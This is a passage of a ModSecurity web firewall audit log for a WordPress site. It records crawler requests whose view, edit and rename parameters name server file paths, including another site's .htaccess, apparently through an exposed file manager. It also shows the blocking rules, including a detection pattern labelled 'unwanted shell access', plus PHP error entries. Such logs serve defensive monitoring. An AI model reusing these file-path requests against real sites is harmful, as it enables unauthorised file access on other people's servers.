(Varnish/7.7)","X-Varnish":"12354611","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"7df7958c704d2a48f4ae0b37f94082b8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":339,"p2":5983,"p3":0,"p4":0,"p5":400,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:39:09.446219 +0100","transaction_id":"abPNLag_lPa2owFZ6_PtaAAAARg","remote_address":"216.73.216.152","remote_port":34124,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2F.htaccess HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"9ddbafe551780ff85f06bc7bef5cf828","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14352994"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9ddbafe551780ff85f06bc7bef5cf828","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"\\\\\\\\\\\\\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPNLag_lPa2owFZ6_PtaAAAARg\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"\\\\.htaccess\" at REQUEST_URI."},"stopwatch":{"p1":276,"p2":5695,"p3":0,"p4":0,"p5":451,"sr":250,"sw":118,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:39:10.246228 +0100","transaction_id":"abPNLk26I4peWFmz15ykbQAAAUA","remote_address":"216.73.216.152","remote_port":34046,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2F.htaccess HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5af19bcb9290983010edfd9e62be2921","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9339723"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5af19bcb9290983010edfd9e62be2921","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"\\\\\\\\\\\\\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPNLk26I4peWFmz15ykbQAAAUA\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"\\\\.htaccess\" at REQUEST_URI."},"stopwatch":{"p1":309,"p2":4265,"p3":0,"p4":0,"p5":485,"sr":216,"sw":121,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:39:22.036001 +0100","transaction_id":"abPNOUxHnLkyPWuTIW5acgAAAZQ","remote_address":"114.119.154.203","remote_port":34162,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/206518151 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.203","X-Forwarded-Proto":"http","X-Request-Id":"9225633623ce227026984ba76f32ca0f","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3838543","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"9225633623ce227026984ba76f32ca0f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":259,"p2":5512,"p3":0,"p4":0,"p5":351,"sr":122,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:39:36.013294 +0100","transaction_id":"abPNSIB2aIMAFdsi8EHwnAAAAtA","remote_address":"216.73.216.152","remote_port":58688,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito2.jmkconsulting-ci.com%2F.htaccess HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"531ac227ba166c51f73e33cfbae26217","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4952022"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"531ac227ba166c51f73e33cfbae26217","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"\\\\\\\\\\\\\\\\.htaccess\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"288\"] [id \"430010\"] [msg \"Malware.Expert - request_uri: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abPNSIB2aIMAFdsi8EHwnAAAAtA\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"\\\\.htaccess\" at REQUEST_URI."},"stopwatch":{"p1":179,"p2":2674,"p3":0,"p4":0,"p5":375,"sr":167,"sw":83,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.079116 +0100","transaction_id":"abPNnk26I4peWFmz15ylUwAAAU4","remote_address":"216.73.216.152","remote_port":39254,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fowl.video.play.png HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fc05aeadfe296e26e974bea0cc266887","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160486"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fc05aeadfe296e26e974bea0cc266887","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"438\"] [id \"77360582\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:31||Range:||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/owl.video.play.png& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator GT matched 30 at SESSION:cld_limit."},"stopwatch":{"p1":207,"p2":2016,"p3":0,"p4":0,"p5":602,"sr":115,"sw":101,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.147318 +0100","transaction_id":"abPNnk26I4peWFmz15ylVAAAAU4","remote_address":"216.73.216.152","remote_port":39254,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fproduct-4.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"54ccaf3bf269692de5c92d064710b39e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4132281"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"54ccaf3bf269692de5c92d064710b39e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/product-4.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":294,"p2":3003,"p3":0,"p4":0,"p5":503,"sr":150,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.199964 +0100","transaction_id":"abPNnk26I4peWFmz15ylVQAAAU4","remote_address":"216.73.216.152","remote_port":39254,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fong-genie-bio.com%2Ftestimonial-bg.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"cfee7004cc7ceec14a0639009e357c29","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160489"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"cfee7004cc7ceec14a0639009e357c29","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ong-genie-bio.com/testimonial-bg.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":208,"p2":2131,"p3":0,"p4":0,"p5":441,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.293243 +0100","transaction_id":"abPNnk26I4peWFmz15ylVgAAAUg","remote_address":"216.73.216.152","remote_port":50038,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fcarousel-2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"aa04ce8bf8ac98ef1f56b21c9ce426e1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10619915"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"aa04ce8bf8ac98ef1f56b21c9ce426e1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/carousel-2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":277,"p2":2131,"p3":0,"p4":0,"p5":545,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.385219 +0100","transaction_id":"abPNnrJ190y1fElY11bluAAAAIY","remote_address":"216.73.216.152","remote_port":53924,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fabout-2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"40b99d6a7e3c53bda65e2b7994932cb8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10619918"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"40b99d6a7e3c53bda65e2b7994932cb8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/about-2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":264,"p2":3128,"p3":0,"p4":0,"p5":533,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.473924 +0100","transaction_id":"abPNnrJ190y1fElY11bluQAAAIY","remote_address":"216.73.216.152","remote_port":53924,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fproduct-3.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7c124daed7b9a767e66472c16b08c171","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12224195"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7c124daed7b9a767e66472c16b08c171","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ong-genie-bio.com/product-3.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":198,"p2":2184,"p3":0,"p4":0,"p5":367,"sr":111,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.564717 +0100","transaction_id":"abPNnrJ190y1fElY11blugAAAIY","remote_address":"216.73.216.152","remote_port":53924,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fong-genie-bio.com%2Fpart2.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e39672ac3f56bc56ef36ddc50e1d1d4a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7736995"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e39672ac3f56bc56ef36ddc50e1d1d4a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ong-genie-bio.com/part2.jpg& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":199,"p2":2017,"p3":0,"p4":0,"p5":340,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:41:02.669816 +0100","transaction_id":"abPNnrJ190y1fElY11bluwAAAIY","remote_address":"216.73.216.152","remote_port":53924,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fong-genie-bio.com%2Fcaroussel4.jpg HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e547b9d98f4bbed2e9dc5a294568d23b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14124094"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e547b9d98f4bbed2e9dc5a294568d23b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at 